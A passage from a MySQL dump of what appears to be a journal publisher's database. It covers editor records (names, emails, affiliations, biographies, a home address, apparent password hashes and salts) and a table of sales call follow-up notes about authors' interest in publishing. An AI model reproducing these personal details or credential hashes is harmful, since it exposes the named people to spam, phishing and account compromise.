19104','prabhat_k','96b4611cd14b935ff4d489fcc603b2e5','TZTd1Vwt',975,NULL,4089,0,'2021-12-15',1,NULL,'2024-03-26 11:01:16',2,1,'6Is8YQ'),(1780,'Alireza','Heidari','scholar.researcher.scientist@gmail.com','Full Distinguished Professor and Academic Tenure of Chemistry and also Enrico Fermi Distinguished Chair in Molecular Spectroscopy at California South University (CSU), Irvine, California, USA. He has got his Ph.D. and D.Sc. degrees from California South University (CSU), Irvine, California, USA. Furthermore, he has double postdocs in Project Management, Oncology, Human Cancer Tissues and Synchrotron Radiation from Monash University, Melbourne, Victoria, Australia and also in Nanochemistry and Modern Molecular Electronic–Structure Computations Theory from California South University (CSU), Irvine, California, USA. His research interests include Biophysical Chemistry, Biomolecular and Biomedical Spectroscopy, Quantum Chemistry, Nanochemistry, Modern Electronic Structure Computations, Theoretical Chemistry, Mathematical Chemistry, Computational Chemistry, Vibrational Spectroscopy, Molecular Modelling, Ab initio & Density Functional Methods, Molecular Structure, Biochemistry, Molecular Simulation, Pharmaceutical Chemistry, Medicinal Chemistry, Oncology','0',226,'Irvine,\r\nCalifornia, USA','alireza','7108946f635b7ace7c24f43aea5ffaad','o9pIDEUE',971,NULL,5346,0,'2022-03-17',1,NULL,'2024-02-01 17:40:08',2,1,'MnsCSM'),(1781,'Amarnath','Farghaly','farghalyamarnath72@gmail.com','Amarnath Farghaly is a researcher and he will write manuscripts and he does publishing for the papers','0',225,'35 Ruddlesway, Windsor, Berkshire, SL4 5SF','amarnath','a00e6c3193fd36fba6592ab940b1dc49','MmBidl8w',91,NULL,2231,0,'2022-03-25',1,NULL,'2024-05-23 08:36:34',2,1,'9rRx06'),(1782,'Mamatha','Reddy','mamathareddy.dereddy99@gmail.com','Annals of Clinical and Laboratory Research ','0',99,'India','mamatha','e2f431c8b6e15d983f3eb1a0289bdd75','uVThlsVz',971,NULL,3249,0,'2022-04-08',1,NULL,'2023-09-27 13:57:43',2,1,'HHo17B'),(1783,'Obeagu, Emmanuel',' Ifeanyi','emmanuelobeagu@yahoo.com','Dr. Emmanuel Ifeanyi Obeagu is one of Medicine\'s leading celebrities, known for leadership skills and breakthrough research potential. Dr. Emmanuel Ifeanyi Obeagu starred in Medicine. Dr. Emmanuel Ifeanyi Obeagu is working in Diagnostic Laboratory Unit, Department of University Health Services, Michael Okpara University of Agriculture, Umudike, Abia State, Nigeria. He was born in Amede, Eha- Amufu, Enugu State, Nigeria. He obtained his PhD in Haematology and attained his M.Sc in Haematology in Imo State University, Owerri. He attained Bachelor of Medical Laboratory Science in Ebonyi State University, Abakaliki, Nigeria.\r\nDr. Emmanuel Ifeanyi Obeagu received 2 international research awards in 2017 as World Academic Champion in Medicine and Fellow, Directorate of Medicine, IASR, World Academic Champion in Diagnostics and Fellow, Directorate of Diagnostics, IASR. He received 2018 Best Editor award by Annals of Clinical and Laboratory Research. He was included among world 500 most influential public health experts on earth 2017 and included among Global Infectious Diseases Control Experts. He equally received more than 100 International awards and recognitions He is a research-oriented person. He has published more than 400 researches and review published papers and invited and reviewed more than 1200 papers in reputable international journals and editor and reviewer to more than 250 International Journals. He was promoted to Editor-in Chief of Journal of Biomedical Research and Review on 4th September, 2018. He attended as a delegate, plenary speaker, keynote speaker and organizing committee member of international conferences. He is an eminent scholar and a researcher. He is a prolific writer and has a very high research gate score. \r\nRESEARCH INTERESTS:\r\nDr. Emmanuel Ifeanyi Obeagu research interests include Haematology and Blood Transfusion, Immunology, and Public Health. He has been enlightening the world with his scientific contributions. \r\n','0',156,'Medical Laboratory Unit, University Health services, Michael Okpara University of Agriculture, Umudike, and Abia State, Nigeria','obeagu,_emmanuel','e6baaf74e2b4c8d44ac77fd59b3d14d7','Pi0o0JgP',975,NULL,4089,0,'2022-07-27',1,NULL,'2024-03-18 14:03:53',2,1,'SIsqtb'),(1784,'Cenvith','Daniel','cenvith.daniel21@gmail.com','Faculty of Science and Technology, Free University of Bozen-Bolzano, Universitätsplatz 1, 39100 Bolzano, Italy','0',105,'Faculty of Science and Technology, Free University of Bozen-Bolzano, Universitätsplatz 1, 39100 Bolzano, Italy','cenvith','0ec21031124a93cfc092ff867a5acbf5','mVBsCZeN',959,NULL,5400,0,'2022-08-16',1,NULL,'2024-04-18 11:16:17',2,1,'msv4WJ'),(1785,'Fenopial','Scofield','feno.schofield89@gmail.com','Institute of Genetics and Cancer, Cancer Research UK Edinburgh Centre, UK\r\n','0',225,'Institute of Genetics and Cancer, Cancer Research UK Edinburgh Centre, UK\r\n','fenopial','51a133d42d9f5266c4b0e2c8315edf06','xHNZ5bQx',959,NULL,5400,0,'2022-08-18',1,NULL,'2024-04-18 11:27:20',2,1,'i1MknG'),(1786,'Anchor','Dorfler','anchor.dorfler89@gmail.com','West of Scotland Pancreatic Unit, Glasgow Royal Infirmary, Glasgow, United Kingdom','0',225,'West of Scotland Pancreatic Unit, Glasgow Royal Infirmary, Glasgow, United Kingdom','anchor','85ed17db1fe5e3889f5aae434537bd60','e6efa92A',959,NULL,5400,0,'2022-08-23',1,NULL,'2024-05-01 09:02:58',2,1,'owjk31'),(1787,'John','lee','Johnl@gmail.com','        ','0',10,'          ','john','a45314a82465208de2595de0a7d18b63','RvBM8k4W',959,NULL,3521,0,'2022-09-09',1,NULL,'2024-05-08 05:23:02',2,1,'jNFbnh'),(1788,'lakshmi','lakshmi','lakshmi1232@gmail.com','neurology','0',99,'india','lakshmi','459b7615c9ed2a98436adbeab384e1af','oHdSEDxw',73,NULL,330,0,'2022-09-23',1,NULL,'2023-12-23 10:19:13',2,1,'0sy7Yk'),(1789,'Yogini','Jaiswal','Yoginijaiswal17@gmail.com','Biography','0',99,'Hyderabad,India','yogini','e6c8682cdf993f893d830681b0e3de93','PZkoMAli',277,NULL,2805,0,'2022-12-14',1,NULL,'2024-01-17 13:51:17',2,1,'CS4tMZ'),(1790,'Petter','Hills','petter@yahoo.com','pharmacology','0',104,'Ashdod','petter','f294f9d1881212e34c85a584e335d7d7','LaudjU6o',981,NULL,5434,0,'2023-02-06',1,NULL,'2024-05-06 09:31:20',2,1,'bqqptz'),(1791,'Markus','Halberstadt','augente-flms@hin.ch','Department of surgery, Al-Umah university of china, China','0',44,'Department of surgery, Al-Umah university of china, China','markus','1268215579d8bff1d02a604ef7cd3b16','dI28fttq',326,NULL,5413,0,'2023-10-30',1,NULL,'2024-04-11 09:45:11',2,1,'ecXZiO'),(1792,'Pei','Jing','jingpei.09@swmu.edu.cn','Department of Pharmacy, The Affiliated Hospital, Southwest Medical University.','0',44,'Luzhou, Sichuan 646000, China','pei','732a4b5b3aa6e16944bf5106d0126731','g3LvSaPG',996,NULL,59131,0,'2023-11-07',1,NULL,'2024-01-31 16:44:13',2,1,'rFUCX6'),(1793,'Xiaoduan','Sun','sunxd@swmu.edu.cn','Department of Pharmacy, The Affiliated Hospital, Southwest Medical University.','0',44,'Luzhou, Sichuan 646000, China','xiaoduan','4bdcbeeeee0c9038be0a0ebd6e3933d9','6TiDO0Kc',996,NULL,59130,0,'2023-11-07',1,NULL,'2024-05-29 08:32:31',2,1,'4dmd1S'),(1794,'Padma','priya Tv','priya1994@gmail.com','Department of Medicine, PSG Institute of Medical Sciences & Research, ','0',99,'Coimbatore, Tamil Nadu 641004, India','padma','ef1cc36f44a4bbf32b5119698b78444a','xnKp61fV',996,NULL,5391,0,'2023-11-07',1,NULL,'2024-01-31 15:52:41',2,1,'zR1r2T'),(1795,'Soudeh','Ghafouri-Fard','s.ghafourifard@sbmu.ac.ir','Department of Medical Genetics, Shahid Beheshti University of Medical Sciences, ','0',101,'Tehran, Iran','soudeh','8db1a4b1cc4a93b655b937e9499a3933','JL5U1ekf',996,NULL,59129,0,'2023-11-07',1,NULL,'2024-04-10 13:44:38',2,1,'wLYcgd'),(1796,'Chawhan','Dikshe','chawhan.d@edu.in','  ','0',38,'  ','chawhan','ba6648f8e67be90a97d6956bd7633305','7yvKQjf2',975,NULL,5424,0,'2024-02-01',1,NULL,'2024-03-26 11:07:53',2,1,'mmeFe9'),(1797,'John','Haxace','Haxace.j@bio.co.in',' ','0',13,'  ','john','fd19c853678add094bee3ceb993239dc','jxGD2tcD',975,NULL,59122,0,'2024-02-01',1,NULL,'2024-03-26 11:05:26',2,1,'Md47Hz'),(1798,'Yuya','Kimura','yuya4316@gmail.com','Department of Orthopedic Surgery, Nasu Chuoh Hospital, Otawara, Japan\r\n','0',107,'Otawara, Japan','yuya','d928f145db3476e8de8ea177924f75b0','3sqiZ85T',996,NULL,59168,0,'2024-03-19',1,NULL,'2024-04-10 13:46:44',2,1,'2vjb8Z'),(1799,'Ricardo',' Blanco','rblancovela@gmail.com','Department of Orthopedic Surgery, Nasu Central Hospital, 1453 Shimoishigami, Otawara 324-0036, Japan','0',107,'Otawara 324-0036, Japan','ricardo','de9d964bf254f0c8f56751d4bdb348ec','YeGTDW3L',996,NULL,59165,0,'2024-03-19',1,NULL,'2024-04-10 13:48:26',2,1,'0Au4n3'),(1800,'Razvan',' C. Stan','strazvan@jnu.ac.kr','Puneet K. Singh - Department of Basic Medical Science, Chonnam National University, Hwasun 58128, Republic of Korea','0',113,'Hwasun 58128, Republic of Korea','razvan','1559081a3572b349ce0d14d1c256638f','5du2fmVq',996,NULL,59162,0,'2024-03-19',1,NULL,'2024-05-29 08:40:44',2,1,'LEn7V3'),(1801,'Ping',' Jiang','lmdlmd6617@163.com','Rheumatology and Immunology Department, The Affiliated Hospital of Shandong University of Traditional Chinese Medicine, Jinan, China','0',44,'Jinan, China','ping','f133e584efed793d82d207910c4057b6','p21rLiF8',996,NULL,59167,0,'2024-03-19',1,NULL,'2024-05-29 08:38:03',2,1,'2bPxAK'),(1802,'Qian',' Zhang','71000133@sdutcm.edu.cn','Science and Technology Department, Affiliated Hospital of Shandong University of Traditional Chinese Medicine, Jinan, China','0',44,'Jinan, China','qian','ae527f3488e94fb7447f3ba5766e21a0','eZ5ALPCi',996,NULL,59165,0,'2024-03-19',1,NULL,'2024-05-29 08:27:50',2,1,'3Lr0sK'),(1803,'Siti','Mardlijah','siti.mardlijah@yahoo.com','Research Center for Fishery, National Research and Innovation Agency (BRIN), Jalan Raya Bogor KM. 47 Cibinong, Nanggewer Mekar, Bogor, Indonesia','0',100,'Jalan Raya Bogor KM. 47 Cibinong, Nanggewer Mekar, Bogor, Indonesia','siti','b35a675d90f0ed12a0ce5e5040500d09','eG7CyvIb',639,NULL,1771,0,'2024-03-27',1,NULL,'2024-04-02 09:58:20',2,1,'bfwq6Y'),(1804,'Ronny Irawan','Wahju','ronnywa@apps.ipb.ac.id','Department of Fisheries Resources Utilization, Faculty of Fisheries and Marine Sciences, IPB University, Kampus IPB, Jl. Raya Dramaga, Bogor, Jawa Barat 16680, Indonesia','0',100,'Raya Dramaga, Bogor, Jawa Barat 16680, Indonesia','ronny_irawan','bbc9482a5fb1783d27988960d9d30786','OpUOWoHq',639,NULL,1777,0,'2024-03-27',1,NULL,'2024-04-02 09:55:42',2,1,'ktgvH4'),(1805,'Taryn','Garlock','taryngarlock@auburn.edu','School of Fisheries, Aquaculture, and Aquatic Sciences, Auburn University, 203 Swingle Hall, Auburn, AL 36849, USA','0',226,' 203 Swingle Hall, Auburn, AL 36849, USA','taryn','86714faf220f1a2755e1eabdd9dcb35f','F00hgDUf',639,NULL,1776,0,'2024-03-27',1,NULL,'2024-04-26 04:43:50',2,1,'thrz3o'),(1806,'Adnan','Tokaç','adnan.tokac@ege.edu.tr','Fisheries Faculty, Ege University, 35540,','0',218,'Bornova, ?zmir, Turkiye','adnan','2e56efc9fb3d492a2fc986a8ea13e1ad','pIRSURNL',639,NULL,1770,0,'2024-03-27',1,NULL,'2024-04-02 09:49:44',2,1,'RMP6cc'),(1807,'Xin',' Li','308409220@qq.com','Traumatology Hand Surgery Department, Haicheng Orthopedic Hospital, Haicheng, China','0',44,'Orthopedic Hospital, Haicheng, China','xin','08020e92722fe9e2f2067275b433fd90','9bswcAJw',996,NULL,59166,0,'2024-05-08',1,NULL,'2024-05-29 08:23:39',2,1,'1UUlRP'),(1808,'Shuang',' Ding','109383510@qq.com','Department of Orthopedics, The Affiliated Hospital of Changchun University of Chinese Medicine, Changchun, China','0',44,'Changchun, China','shuang','34d0f87f4f4a677594889a6fab6f5d5e','jtpkRuZA',996,NULL,59166,0,'2024-05-08',1,NULL,'2024-05-29 08:34:35',2,1,'wG35nJ');
/*!40000 ALTER TABLE `editors` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `fup_comments`
--

DROP TABLE IF EXISTS `fup_comments`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!50503 SET character_set_client = utf8mb4 */;
CREATE TABLE `fup_comments` (
  `fup_id` int NOT NULL AUTO_INCREMENT,
  `m_id` int NOT NULL,
  `fup_stat` tinyint(1) NOT NULL,
  `fup_type` tinyint(1) NOT NULL,
  `fup_comments` longtext NOT NULL,
  `comm_sct` varchar(50) DEFAULT NULL,
  `cse_id` int NOT NULL,
  `tl_id` int NOT NULL,
  `date` date NOT NULL,
  PRIMARY KEY (`fup_id`)
) ENGINE=InnoDB AUTO_INCREMENT=2314 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `fup_comments`
--

LOCK TABLES `fup_comments` WRITE;
/*!40000 ALTER TABLE `fup_comments` DISABLE KEYS */;
INSERT INTO `fup_comments` VALUES (1,4562,1,2,'Interested to publish his article CSE- SOUVICK',NULL,1,1,'2020-07-09'),(2,4516,3,2,'Not Interested CSE- SOUVICK',NULL,1,1,'2020-07-09'),(3,4202,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(4,4170,4,2,'Already published. Wants to publish another article. CSE- SOUVICK',NULL,1,1,'2020-07-09'),(5,4060,3,2,'Not interested CSE- SOUVICK',NULL,1,1,'2020-07-09'),(6,4031,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(7,3961,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(8,3950,1,2,'Interested to publish but he has no funds CSE- SOUVICK',NULL,1,1,'2020-07-09'),(9,3778,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(10,3776,1,2,'Interested to publish his 2 articles CSE- SOUVICK',NULL,1,1,'2020-07-09'),(11,3769,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(12,3674,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(13,3908,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(14,3899,1,2,'Interested to publish but do not want to pay CSE- SOUVICK',NULL,1,1,'2020-07-09'),(15,3842,1,2,'Interested to publish but do not want to pay CSE- SOUVICK',NULL,1,1,'2020-07-09'),(16,3866,1,2,'Interested to publish and asking for discounts CSE- SOUVICK',NULL,1,1,'2020-07-09'),(17,3832,4,2,'Already published.  CSE- SOUVICK',NULL,1,1,'2020-07-09'),(18,3754,3,2,'Not Interested CSE- SOUVICK',NULL,1,1,'2020-07-09'),(19,3732,4,2,'Already published CSE- SOUVICK',NULL,1,1,'2020-07-09'),(20,3663,1,2,'Interested to publish but do not want to pay CSE- SOUVICK',NULL,1,1,'2020-07-09'),(21,3656,1,2,'Interested to publish   CSE- SOUVICK',NULL,1,1,'2020-07-09'),(22,3646,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(23,3637,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(24,3570,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(25,3566,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(26,3558,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(27,3556,4,2,'It is already published.wants to publish another 2 articles CSE- SOUVICK',NULL,1,1,'2020-07-09'),(28,3537,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(29,3492,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(30,3431,1,2,'Interested to publish CSE- SOUVICK',NULL,1,1,'2020-07-09'),(31,1397,4,1,'Abhinab -Already Published','31-comm-sct.png',1,1,'2020-07-15'),(32,1394,4,1,'Abhinab -Already Published','32-comm-sct.png',1,1,'2020-07-15'),(33,1388,4,1,'Abhinab -Already Published','33-comm-sct.png',1,1,'2020-07-15'),(34,1360,4,1,'Abhinab -Already Published','34-comm-sct.png',1,1,'2020-07-15'),(35,1330,4,1,'Abhinab -Already Published','35-comm-sct.png',1,1,'2020-07-15'),(36,1329,4,1,'Abhinab -Already Published','36-comm-sct.png',1,1,'2020-07-15'),(37,1172,4,1,'Abhinab -Already Published','37-comm-sct.png',1,1,'2020-07-15'),(38,1069,4,1,'Abhinab -Already Published','38-comm-sct.png',1,1,'2020-07-15'),(39,563,1,1,'Abhinab -Already Published','39-comm-sct.png',1,1,'2020-07-15'),(40,517,4,1,'Abhinab -Already Published','40-comm-sct.png',1,1,'2020-07-15'),(41,469,4,1,'Abhinab -Already Published','41-comm-sct.png',1,1,'2020-07-15'),(42,430,4,1,'Abhinab -Already Published','42-comm-sct.png',1,1,'2020-07-15'),(43,347,4,3,'Abhinab -Already Published','43-comm-sct.png',1,1,'2020-07-15'),(44,1791,3,2,'Due to delay in process, they published in other journal',NULL,1,1,'2020-07-15'),(45,1669,3,2,'Due to delay in process, they published in other journal',NULL,1,1,'2020-07-15'),(46,1201,3,2,'Due to delay in process, they published in other journal',NULL,1,1,'2020-07-15'),(47,1167,2,2,'Hung up the phone',NULL,1,1,'2020-07-15'),(48,3927,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(49,3926,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(50,3908,1,2,'He will check the mail and get back to us.',NULL,1,1,'2020-07-18'),(51,3620,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(52,3615,2,2,'Call not working',NULL,1,1,'2020-07-18'),(53,3615,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(54,3615,2,2,'Call not working',NULL,1,1,'2020-07-18'),(55,3899,1,2,'He will check the mail and get back to us.',NULL,1,1,'2020-07-18'),(56,2577,2,2,'Call not working',NULL,1,1,'2020-07-18'),(57,3153,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(58,3151,2,2,'Call not working',NULL,1,1,'2020-07-18'),(59,3149,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(60,3144,3,2,'Destination is busy',NULL,1,1,'2020-07-18'),(61,3140,1,2,'The number is not in service',NULL,1,1,'2020-07-18'),(62,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(63,2833,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(64,3136,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(65,2577,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(66,3131,3,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(67,2577,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(68,3128,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(69,3919,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(70,3122,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(71,2577,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(72,3121,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(73,3918,1,2,'Asking to send an email.',NULL,1,1,'2020-07-18'),(74,3915,2,2,'Number is not mentioned.',NULL,1,1,'2020-07-18'),(75,2828,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(76,2827,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(77,3614,4,1,'Not Answering','77-comm-sct.png',1,1,'2020-07-18'),(78,2825,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(79,2823,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(80,3613,4,1,'Not Answering','80-comm-sct.png',1,1,'2020-07-18'),(81,2819,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(82,3914,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(83,3610,4,1,'Not Answering','83-comm-sct.png',1,1,'2020-07-18'),(84,2818,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(85,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(86,3118,1,2,'Destination is busy',NULL,1,1,'2020-07-18'),(87,2817,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(88,2817,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(89,2577,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(90,3911,2,2,'Server unreachable.',NULL,1,1,'2020-07-18'),(91,3114,3,2,'The number is not in service',NULL,1,1,'2020-07-18'),(92,2815,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(93,3606,3,1,'Not Answering','93-comm-sct.png',1,1,'2020-07-18'),(94,2814,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(95,3113,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(96,3602,2,1,'Not Answering','96-comm-sct.png',1,1,'2020-07-18'),(97,2577,2,2,'Destination is busy',NULL,1,1,'2020-07-18'),(98,3109,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(99,3600,4,1,'Not Answering','99-comm-sct.png',1,1,'2020-07-18'),(100,2814,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(101,3904,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(102,3108,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(103,2814,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(104,3107,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(105,2812,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(106,3107,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(107,2807,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(108,3902,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(109,3101,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(110,3594,4,1,'Due to no information about the status','110-comm-sct.png',1,1,'2020-07-18'),(111,2806,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(112,3098,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(113,3592,2,1,'Due to no information about the status','113-comm-sct.png',1,1,'2020-07-18'),(114,2805,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(115,3096,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(116,3591,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(117,3090,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(118,3089,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(119,3901,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(120,3590,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(121,2803,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(122,3085,1,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(123,3586,4,1,'Due to no information about the status','123-comm-sct.png',1,1,'2020-07-18'),(124,2802,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(125,3081,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(126,2797,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(127,3898,3,2,'Not Interested.',NULL,1,1,'2020-07-18'),(128,3584,4,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(129,3080,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(130,3580,4,1,'Due to no information about the status','130-comm-sct.png',1,1,'2020-07-18'),(131,3063,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(132,3579,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(133,2796,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(134,3062,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(135,3576,3,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(136,2795,2,2,'Number is incorrect',NULL,1,1,'2020-07-18'),(137,3893,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(138,3061,2,2,'Call not working',NULL,1,1,'2020-07-18'),(139,3568,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(140,3058,2,2,'Call not working',NULL,1,1,'2020-07-18'),(141,3565,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(142,3055,2,2,'Call not working',NULL,1,1,'2020-07-18'),(143,2795,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(144,2786,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(145,3892,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(146,3564,2,1,'Due to no information about the status','146-comm-sct.png',1,1,'2020-07-18'),(147,2784,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(148,2783,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(149,3049,2,2,'Call not working',NULL,1,1,'2020-07-18'),(150,3875,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(151,2782,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(152,2772,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(153,3048,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(154,3044,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(155,2771,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(156,3874,2,2,'Number is not mentioned.',NULL,1,1,'2020-07-18'),(157,3557,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(158,3042,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(159,2770,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(160,3037,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(161,3557,2,1,'All circuits are busy now','161-comm-sct.png',1,1,'2020-07-18'),(162,2769,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(163,3036,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(164,3556,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(165,2768,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(166,3556,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(167,3859,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(168,3032,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(169,2765,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(170,3030,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(171,2764,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(172,3554,2,1,'All circuits are busy now','172-comm-sct.png',1,1,'2020-07-18'),(173,3028,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(174,2762,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(175,3552,4,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(176,3026,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(177,3858,1,2,'Interested to publish.',NULL,1,1,'2020-07-18'),(178,2577,2,2,'Call not working',NULL,1,1,'2020-07-18'),(179,3549,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(180,3021,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(181,2758,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(182,3548,4,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(183,2755,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(184,3543,4,1,'All circuits are busy now','184-comm-sct.png',1,1,'2020-07-18'),(185,2750,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(186,3542,2,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(187,2742,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(188,3857,3,2,'Not Interested.',NULL,1,1,'2020-07-18'),(189,2740,2,2,'The number is not in service',NULL,1,1,'2020-07-18'),(190,3855,2,2,'Number is not mentioned.',NULL,1,1,'2020-07-18'),(191,2730,2,2,'Call not working',NULL,1,1,'2020-07-18'),(192,2731,2,2,'Call not working',NULL,1,1,'2020-07-18'),(193,2734,2,2,'Call not working',NULL,1,1,'2020-07-18'),(194,3540,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(195,2734,2,2,'Call not working',NULL,1,1,'2020-07-18'),(196,3854,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(197,2726,2,2,'Call not working',NULL,1,1,'2020-07-18'),(198,2726,2,2,'Call not working',NULL,1,1,'2020-07-18'),(199,3536,4,1,'Not Answering','199-comm-sct.png',1,1,'2020-07-18'),(200,2577,1,2,'All circuits are busy now',NULL,1,1,'2020-07-18'),(201,3534,4,1,'Not Answering','201-comm-sct.png',1,1,'2020-07-18'),(202,3846,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(203,2739,2,2,'Call not working',NULL,1,1,'2020-07-18'),(204,3526,4,2,'Not Answering',NULL,1,1,'2020-07-18'),(205,2722,2,2,'Call not working',NULL,1,1,'2020-07-18'),(206,3521,4,2,'Not Answering',NULL,1,1,'2020-07-18'),(207,2719,2,2,'Call not working',NULL,1,1,'2020-07-18'),(208,3845,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(209,3514,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(210,2718,2,2,'Call not working',NULL,1,1,'2020-07-18'),(211,2718,2,2,'Call not working',NULL,1,1,'2020-07-18'),(212,3513,3,2,'Not Answering',NULL,1,1,'2020-07-18'),(213,3843,2,2,'Not Answering.',NULL,1,1,'2020-07-18'),(214,2833,2,2,'Not Answering',NULL,1,1,'2020-07-18'),(215,3513,4,1,'Not Answering','215-comm-sct.png',1,1,'2020-07-18'),(216,2577,2,2,'Due to no information about the status',NULL,1,1,'2020-07-18'),(217,3501,2,1,'Not 